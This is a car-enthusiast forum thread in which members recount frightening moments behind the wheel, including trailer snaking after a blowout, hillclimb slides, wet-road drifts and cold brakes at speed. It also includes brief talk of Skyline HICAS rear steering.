my scariest driving moments have both involved land rovers towing mini rigs which are 3.5 tons. i had a blowout on a bridge with a long right hand bend whilst driving too fast which resulted in the trailer leaving figure of 8 skid marks (twin axle trailer) for around 200 yards. i swear i hit my head on the window twice as it snaked left and right, if it wasnt for a tight grip on the steering wheel i would have slid across the middle seat. the chap following me said the land rover rear inside wheels lifted the first couple of snakes and my poor dog shat himself in the back as tools and stilsons etc flew off the shelves!! if it wasnt for the fact ive always had rear wheel drive cars and know to turn into slides i would have never got it back............

the second most scary thing would be when the bonnet flipped towing the same trailer in the ouside lane of a dual carraigeway in traffic. its interesting trying to correct a snaking trailer on instict when you cant see where you're trying to go.......

bloody land rovers


----------



## GT-R Glenn (Nov 9, 2002)

Bright Rd Hillclimb.
Someones Honda spat a whole gearbox out on the top corner , so they held us all back while the oil was cleaned up.
We were told "Theres a small amount of oil on the top corner,but its been cleaned up"
Ok , So off I go, balls out ,get to turn in on the top corner and "WTF Exon Valdez .....Panic, sand everywhere, going Waaaayyyyy too fast back end comes around 45 degrees, overcorrect, goes the other way, correct (at this time Im thinking wheres that car they use to block the road off ) go across finish line, just missing timing gear, still well and truely drifting, manage to catch it and pull up before hitting block marshall.








Ive got some pretty cool incar video,


----------



## GT-R Glenn (Nov 9, 2002)

3rd time ever over road, still some corners catching me out, + it was cold.
YouTube - Kemp Rd R3


----------



## Wanabee Kiwi (Mar 31, 2007)

mine was driving through town in the wet. Came up to an intersection, turning right when the lights went orange. I was running late so i just went for it. Turning right the back end gave way and i ended up going 90deg sideways down the road. Once i corrected it I ended up going 90deg the other way heading towards a very busy roundabout with no control. Somehow i managed to pull it straight again.

I was quite impressed with my 90deg drift until about 5 seconds later when the realism of the whole thing kicked in. Then i felt very sick


----------



## tomek (Apr 4, 2008)

GT-R Glenn said:


> 3rd time ever over road, still some corners catching me out, + it was cold.
> YouTube - Kemp Rd R3



nice.. road looks like a handfull ... love the twisties.. 

YouTube - 2006 Kemp Road Rallysprint bahahaha


----------



## kismetcapitan (Nov 25, 2005)

I've only had one moment in my GT-R where I was out of control and only the grace of God saved my ass.

I had just gotten my car back from its first major rebuild/upgrade. It was a cold December morning, and the Endless brake pads were new, not even bedded in. I get onto the freeway onramp, which is this long 180 degree curved affair, and boot the hell out of the car. I exit the turn at over 100mph and have a clear shot onto the freeway. To the lane immediately to my right is a long line of cars stuck in a traffic jam as they wait to get onto a different freeway. I'm flying past those poor bastards as the freeway I need to take is empty. Just then, a Daewoo microvan decides to leave the queue and cut me off. His speed: 5-10mph, I'm hauling ass, I slam on the brakes and then...nothing. It was as if my rotors were made of ice. Like a goddam deer caught in headlights, the microvan driver, having just now spotted a grey bullet shooting towards him, freezes and stops. Literally like a movie, my car somehow, with me applying both feet on the brake pedal trying to get these damned cold pads to generate any friction at all, comes to a stop just inches from this van. The van driver leans out and apologizes deeply, bowing and repeating "sorry, didn't see you, I'm so sorry".

To this day, no matter the season, I always, as soon as I'm on a road, will drag the brakes - accelerate in 2nd while holding the car back with light brake pressure. Net result is steady speed and I do this for at least 5 seconds. I'll never be caught out with cold brakes again.

Another one, which probably doesn't count, was when I first road mapped my car with 2860-5 turbos. When I got out of the car, my hands shook and I felt a bit sick, thinking I had overdone the power and bitten off more than I can chew (of course, now it's not enough power )

Those who had had frightening pendulum experiences, was your HICAS active? I had my worst experience driving when my old Z32 turbo decided to step out the rear and then start swinging back and forth, each swing bringing me closer to a ditch on the side of the road, until I finally came to a stop. When I bought my Skyline, I refused delivery until the HICAS was taken out. I've never driven a Skyline with HICAS and I never will.


----------



## tomek (Apr 4, 2008)

kismetcapitan said:


> Those who had had frightening pendulum experiences, was your HICAS active? I had my worst experience driving when my old Z32 turbo decided to step out the rear and then start swinging back and forth, each swing bringing me closer to a ditch on the side of the road, until I finally came to a stop. When I bought my Skyline, I refused delivery until the HICAS was taken out. I've never driven a Skyline with HICAS and I never will.



Hicas ain't too bad on a 32... Find that it gets fiddly hard under brakes thought... The Z32's were know for the catastrophic tail turning..


----------

